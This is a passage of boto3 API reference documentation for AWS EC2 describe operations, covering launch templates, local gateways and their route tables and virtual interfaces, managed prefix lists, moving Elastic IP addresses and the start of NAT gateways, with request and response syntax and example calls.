+ One or more filters. + + * create-time - The time the launch template was created. + * launch-template-name - The name of the launch template. + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **NextToken** (_string_) -- The token to request the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another call with the returned NextToken value. This value can be between 1 and 200. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'LaunchTemplates': [ + { + 'LaunchTemplateId': 'string', + 'LaunchTemplateName': 'string', + 'CreateTime': datetime(2015, 1, 1), + 'CreatedBy': 'string', + 'DefaultVersionNumber': 123, + 'LatestVersionNumber': 123, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **LaunchTemplates** _(list) --_ + + Information about the launch templates. + + * _(dict) --_ + + Describes a launch template. + + * **LaunchTemplateId** _(string) --_ + + The ID of the launch template. + + * **LaunchTemplateName** _(string) --_ + + The name of the launch template. + + * **CreateTime** _(datetime) --_ + + The time launch template was created. + + * **CreatedBy** _(string) --_ + + The principal that created the launch template. + + * **DefaultVersionNumber** _(integer) --_ + + The version number of the default version of the launch template. + + * **LatestVersionNumber** _(integer) --_ + + The version number of the latest version of the launch template. + + * **Tags** _(list) --_ + + The tags for the launch template. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +**Examples** + +This example describes the specified launch template. + +response = client.describe_launch_templates( + LaunchTemplateIds=[ + 'lt-01238c059e3466abc', + ], +) + +print(response) + +Expected Output: + +{ + 'LaunchTemplates': [ + { + 'CreateTime': datetime(2018, 1, 16, 4, 32, 57, 1, 16, 0), + 'CreatedBy': 'arn:aws:iam::123456789012:root', + 'DefaultVersionNumber': 1, + 'LatestVersionNumber': 1, + 'LaunchTemplateId': 'lt-01238c059e3466abc', + 'LaunchTemplateName': 'my-template', + }, + ], + 'ResponseMetadata': { + '...': '...', + }, +} + +describe_local_gateway_route_table_virtual_interface_group_associations(kwargs_)describe_local_gateway_route_table_virtual_interface_group_associations "Permalink to this definition") + +Describes the associations between virtual interface groups and local gateway route tables. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeLocalGatewayRouteTableVirtualInterfaceGroupAssociations) + +**Request Syntax** + +response = client.describe_local_gateway_route_table_virtual_interface_group_associations( + LocalGatewayRouteTableVirtualInterfaceGroupAssociationIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string', + DryRun=True|False +) + +Parameters + +* **LocalGatewayRouteTableVirtualInterfaceGroupAssociationIds** (_list_) -- + + The IDs of the associations. + + * _(string) --_ +* **Filters** (_list_) -- + + One or more filters. + + * local-gateway-id - The ID of a local gateway. + * local-gateway-route-table-id - The ID of the local gateway route table. + * local-gateway-route-table-virtual-interface-group-association-id - The ID of the association. + * local-gateway-route-table-virtual-interface-group-id - The ID of the virtual interface group. + * state - The state of the association. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +* **NextToken** (_string_) -- The token for the next page of results. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'LocalGatewayRouteTableVirtualInterfaceGroupAssociations': [ + { + 'LocalGatewayRouteTableVirtualInterfaceGroupAssociationId': 'string', + 'LocalGatewayVirtualInterfaceGroupId': 'string', + 'LocalGatewayId': 'string', + 'LocalGatewayRouteTableId': 'string', + 'LocalGatewayRouteTableArn': 'string', + 'OwnerId': 'string', + 'State': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **LocalGatewayRouteTableVirtualInterfaceGroupAssociations** _(list) --_ + + Information about the associations. + + * _(dict) --_ + + Describes an association between a local gateway route table and a virtual interface group. + + * **LocalGatewayRouteTableVirtualInterfaceGroupAssociationId** _(string) --_ + + The ID of the association. + + * **LocalGatewayVirtualInterfaceGroupId** _(string) --_ + + The ID of the virtual interface group. + + * **LocalGatewayId** _(string) --_ + + The ID of the local gateway. + + * **LocalGatewayRouteTableId** _(string) --_ + + The ID of the local gateway route table. + + * **LocalGatewayRouteTableArn** _(string) --_ + + The Amazon Resource Name (ARN) of the local gateway route table for the virtual interface group. + + * **OwnerId** _(string) --_ + + The AWS account ID that owns the local gateway virtual interface group association. + + * **State** _(string) --_ + + The state of the association. + + * **Tags** _(list) --_ + + The tags assigned to the association. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_local_gateway_route_table_vpc_associations(kwargs_)definition") + +Describes the specified associations between VPCs and local gateway route tables. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeLocalGatewayRouteTableVpcAssociations) + +**Request Syntax** + +response = client.describe_local_gateway_route_table_vpc_associations( + LocalGatewayRouteTableVpcAssociationIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string', + DryRun=True|False +) + +Parameters + +* **LocalGatewayRouteTableVpcAssociationIds** (_list_) -- + + The IDs of the associations. + + * _(string) --_ +* **Filters** (_list_) -- + + One or more filters. + + * local-gateway-id - The ID of a local gateway. + * local-gateway-route-table-id - The ID of the local gateway route table. + * local-gateway-route-table-vpc-association-id - The ID of the association. + * state - The state of the association. + * vpc-id - The ID of the VPC. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +* **NextToken** (_string_) -- The token for the next page of results. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'LocalGatewayRouteTableVpcAssociations': [ + { + 'LocalGatewayRouteTableVpcAssociationId': 'string', + 'LocalGatewayRouteTableId': 'string', + 'LocalGatewayRouteTableArn': 'string', + 'LocalGatewayId': 'string', + 'VpcId': 'string', + 'OwnerId': 'string', + 'State': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **LocalGatewayRouteTableVpcAssociations** _(list) --_ + + Information about the associations. + + * _(dict) --_ + + Describes an association between a local gateway route table and a VPC. + + * **LocalGatewayRouteTableVpcAssociationId** _(string) --_ + + The ID of the association. + + * **LocalGatewayRouteTableId** _(string) --_ + + The ID of the local gateway route table. + + * **LocalGatewayRouteTableArn** _(string) --_ + + The Amazon Resource Name (ARN) of the local gateway route table for the association. + + * **LocalGatewayId** _(string) --_ + + The ID of the local gateway. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **OwnerId** _(string) --_ + + The AWS account ID that owns the local gateway route table for the association. + + * **State** _(string) --_ + + The state of the association. + + * **Tags** _(list) --_ + + The tags assigned to the association. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_local_gateway_route_tables(kwargs_) + +Describes one or more local gateway route tables. By default, all local gateway route tables are described. Alternatively, you can filter the results. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeLocalGatewayRouteTables) + +**Request Syntax** + +response = client.describe_local_gateway_route_tables( + LocalGatewayRouteTableIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string', + DryRun=True|False +) + +Parameters + +* **LocalGatewayRouteTableIds** (_list_) -- + + The IDs of the local gateway route tables. + + * _(string) --_ +* **Filters** (_list_) -- + + One or more filters. + + * local-gateway-id - The ID of a local gateway. + * local-gateway-route-table-id - The ID of a local gateway route table. + * outpost-arn - The Amazon Resource Name (ARN) of the Outpost. + * state - The state of the local gateway route table. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +* **NextToken** (_string_) -- The token for the next page of results. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'LocalGatewayRouteTables': [ + { + 'LocalGatewayRouteTableId': 'string', + 'LocalGatewayRouteTableArn': 'string', + 'LocalGatewayId': 'string', + 'OutpostArn': 'string', + 'OwnerId': 'string', + 'State': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **LocalGatewayRouteTables** _(list) --_ + + Information about the local gateway route tables. + + * _(dict) --_ + + Describes a local gateway route table. + + * **LocalGatewayRouteTableId** _(string) --_ + + The ID of the local gateway route table. + + * **LocalGatewayRouteTableArn** _(string) --_ + + The Amazon Resource Name (ARN) of the local gateway route table. + + * **LocalGatewayId** _(string) --_ + + The ID of the local gateway. + + * **OutpostArn** _(string) --_ + + The Amazon Resource Name (ARN) of the Outpost. + + * **OwnerId** _(string) --_ + + The AWS account ID that owns the local gateway route table. + + * **State** _(string) --_ + + The state of the local gateway route table. + + * **Tags** _(list) --_ + + The tags assigned to the local gateway route table. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_local_gateway_virtual_interface_groups(kwargs_)definition") + +Describes the specified local gateway virtual interface groups. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeLocalGatewayVirtualInterfaceGroups) + +**Request Syntax** + +response = client.describe_local_gateway_virtual_interface_groups( + LocalGatewayVirtualInterfaceGroupIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string', + DryRun=True|False +) + +Parameters + +* **LocalGatewayVirtualInterfaceGroupIds** (_list_) -- + + The IDs of the virtual interface groups. + + * _(string) --_ +* **Filters** (_list_) -- + + One or more filters. + + * local-gateway-id - The ID of a local gateway. + * local-gateway-virtual-interface-id - The ID of the virtual interface. + * local-gateway-virtual-interface-group-id - The ID of the virtual interface group. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +* **NextToken** (_string_) -- The token for the next page of results. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'LocalGatewayVirtualInterfaceGroups': [ + { + 'LocalGatewayVirtualInterfaceGroupId': 'string', + 'LocalGatewayVirtualInterfaceIds': [ + 'string', + ], + 'LocalGatewayId': 'string', + 'OwnerId': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **LocalGatewayVirtualInterfaceGroups** _(list) --_ + + The virtual interface groups. + + * _(dict) --_ + + Describes a local gateway virtual interface group. + + * **LocalGatewayVirtualInterfaceGroupId** _(string) --_ + + The ID of the virtual interface group. + + * **LocalGatewayVirtualInterfaceIds** _(list) --_ + + The IDs of the virtual interfaces. + + * _(string) --_ + * **LocalGatewayId** _(string) --_ + + The ID of the local gateway. + + * **OwnerId** _(string) --_ + + The AWS account ID that owns the local gateway virtual interface group. + + * **Tags** _(list) --_ + + The tags assigned to the virtual interface group. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_local_gateway_virtual_interfaces(kwargs_) + +Describes the specified local gateway virtual interfaces. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeLocalGatewayVirtualInterfaces) + +**Request Syntax** + +response = client.describe_local_gateway_virtual_interfaces( + LocalGatewayVirtualInterfaceIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string', + DryRun=True|False +) + +Parameters + +* **LocalGatewayVirtualInterfaceIds** (_list_) -- + + The IDs of the virtual interfaces. + + * _(string) --_ +* **Filters** (_list_) -- + + One or more filters. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +* **NextToken** (_string_) -- The token for the next page of results. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'LocalGatewayVirtualInterfaces': [ + { + 'LocalGatewayVirtualInterfaceId': 'string', + 'LocalGatewayId': 'string', + 'Vlan': 123, + 'LocalAddress': 'string', + 'PeerAddress': 'string', + 'LocalBgpAsn': 123, + 'PeerBgpAsn': 123, + 'OwnerId': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **LocalGatewayVirtualInterfaces** _(list) --_ + + Information about the virtual interfaces. + + * _(dict) --_ + + Describes a local gateway virtual interface. + + * **LocalGatewayVirtualInterfaceId** _(string) --_ + + The ID of the virtual interface. + + * **LocalGatewayId** _(string) --_ + + The ID of the local gateway. + + * **Vlan** _(integer) --_ + + The ID of the VLAN. + + * **LocalAddress** _(string) --_ + + The local address. + + * **PeerAddress** _(string) --_ + + The peer address. + + * **LocalBgpAsn** _(integer) --_ + + The Border Gateway Protocol (BGP) Autonomous System Number (ASN) of the local gateway. + + * **PeerBgpAsn** _(integer) --_ + + The peer BGP ASN. + + * **OwnerId** _(string) --_ + + The AWS account ID that owns the local gateway virtual interface. + + * **Tags** _(list) --_ + + The tags assigned to the virtual interface. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_local_gateways(kwargs_) + +Describes one or more local gateways. By default, all local gateways are described. Alternatively, you can filter the results. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeLocalGateways) + +**Request Syntax** + +response = client.describe_local_gateways( + LocalGatewayIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string', + DryRun=True|False +) + +Parameters + +* **LocalGatewayIds** (_list_) -- + + One or more filters. + + * local-gateway-id - The ID of a local gateway. + * local-gateway-route-table-id - The ID of the local gateway route table. + * local-gateway-route-table-virtual-interface-group-association-id - The ID of the association. + * local-gateway-route-table-virtual-interface-group-id - The ID of the virtual interface group. + * outpost-arn - The Amazon Resource Name (ARN) of the Outpost. + * state - The state of the association. + + * _(string) --_ +* **Filters** (_list_) -- + + One or more filters. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +* **NextToken** (_string_) -- The token for the next page of results. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'LocalGateways': [ + { + 'LocalGatewayId': 'string', + 'OutpostArn': 'string', + 'OwnerId': 'string', + 'State': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **LocalGateways** _(list) --_ + + Information about the local gateways. + + * _(dict) --_ + + Describes a local gateway. + + * **LocalGatewayId** _(string) --_ + + The ID of the local gateway. + + * **OutpostArn** _(string) --_ + + The Amazon Resource Name (ARN) of the Outpost. + + * **OwnerId** _(string) --_ + + The AWS account ID that owns the local gateway. + + * **State** _(string) --_ + + The state of the local gateway. + + * **Tags** _(list) --_ + + The tags assigned to the local gateway. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_managed_prefix_lists(kwargs_) + +Describes your managed prefix lists and any AWS-managed prefix lists. + +To view the entries for your prefix list, use GetManagedPrefixListEntries . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeManagedPrefixLists) + +**Request Syntax** + +response = client.describe_managed_prefix_lists( + DryRun=True|False, + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string', + PrefixListIds=[ + 'string', + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Filters** (_list_) -- + + One or more filters. + + * owner-id - The ID of the prefix list owner. + * prefix-list-id - The ID of the prefix list. + * prefix-list-name - The name of the prefix list. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +* **NextToken** (_string_) -- The token for the next page of results. +* **PrefixListIds** (_list_) -- + + One or more prefix list IDs. + + * _(string) --_ + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NextToken': 'string', + 'PrefixLists': [ + { + 'PrefixListId': 'string', + 'AddressFamily': 'string', + 'State': 'create-in-progress'|'create-complete'|'create-failed'|'modify-in-progress'|'modify-complete'|'modify-failed'|'restore-in-progress'|'restore-complete'|'restore-failed'|'delete-in-progress'|'delete-complete'|'delete-failed', + 'StateMessage': 'string', + 'PrefixListArn': 'string', + 'PrefixListName': 'string', + 'MaxEntries': 123, + 'Version': 123, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'OwnerId': 'string' + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + * **PrefixLists** _(list) --_ + + Information about the prefix lists. + + * _(dict) --_ + + Describes a managed prefix list. + + * **PrefixListId** _(string) --_ + + The ID of the prefix list. + + * **AddressFamily** _(string) --_ + + The IP address version. + + * **State** _(string) --_ + + The state of the prefix list. + + * **StateMessage** _(string) --_ + + The state message. + + * **PrefixListArn** _(string) --_ + + The Amazon Resource Name (ARN) for the prefix list. + + * **PrefixListName** _(string) --_ + + The name of the prefix list. + + * **MaxEntries** _(integer) --_ + + The maximum number of entries for the prefix list. + + * **Version** _(integer) --_ + + The version of the prefix list. + + * **Tags** _(list) --_ + + The tags for the prefix list. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **OwnerId** _(string) --_ + + The ID of the owner of the prefix list. + + +describe_moving_addresses(kwargs_) + +Describes your Elastic IP addresses that are being moved to the EC2-VPC platform, or that are being restored to the EC2-Classic platform. This request does not return information about any other Elastic IP addresses in your account. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeMovingAddresses) + +**Request Syntax** + +response = client.describe_moving_addresses( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + MaxResults=123, + NextToken='string', + PublicIps=[ + 'string', + ] +) + +Parameters + +* **Filters** (_list_) -- + + One or more filters. + + * moving-status - The status of the Elastic IP address (MovingToVpc | RestoringToClassic ). + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **MaxResults** (_integer_) -- + + The maximum number of results to return for the request in a single page. The remaining results of the initial request can be seen by sending another request with the returned NextToken value. This value can be between 5 and 1000; if MaxResults is given a value outside of this range, an error is returned. + + Default: If no value is provided, the default is 1000. + +* **NextToken** (_string_) -- The token for the next page of results. +* **PublicIps** (_list_) -- + + One or more Elastic IP addresses. + + * _(string) --_ + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'MovingAddressStatuses': [ + { + 'MoveStatus': 'movingToVpc'|'restoringToClassic', + 'PublicIp': 'string' + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **MovingAddressStatuses** _(list) --_ + + The status for each Elastic IP address. + + * _(dict) --_ + + Describes the status of a moving Elastic IP address. + + * **MoveStatus** _(string) --_ + + The status of the Elastic IP address that's being moved to the EC2-VPC platform, or restored to the EC2-Classic platform. + + * **PublicIp** _(string) --_ + + The Elastic IP address. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +**Examples** + +This example describes all of your moving Elastic IP addresses. + +response = client.describe_moving_addresses( +) + +print(response) + +Expected Output: + +{ + 'MovingAddressStatuses': [ + { + 'MoveStatus': 'MovingToVpc', + 'PublicIp': '198.51.100.0', + }, + ], + 'ResponseMetadata': { + '...': '...', + }, +} + +describe_nat_gateways(kwargs_) + +Describes one or more of your NAT gateways. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNatGateways) + +**Request Syntax** + +response = client.describe_nat_gateways( + DryRun=True|False, + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NatGatewayIds=[ + 'string', + ], + NextToken='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Filters** (_list_) -- + + One or more filters. + + * nat-gateway-id - The ID of the NAT gateway. + * state - The state of the NAT gateway (pending | failed | available | deleting | deleted ). + * subnet-id - The ID of the subnet in which the NAT gateway resides. + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this 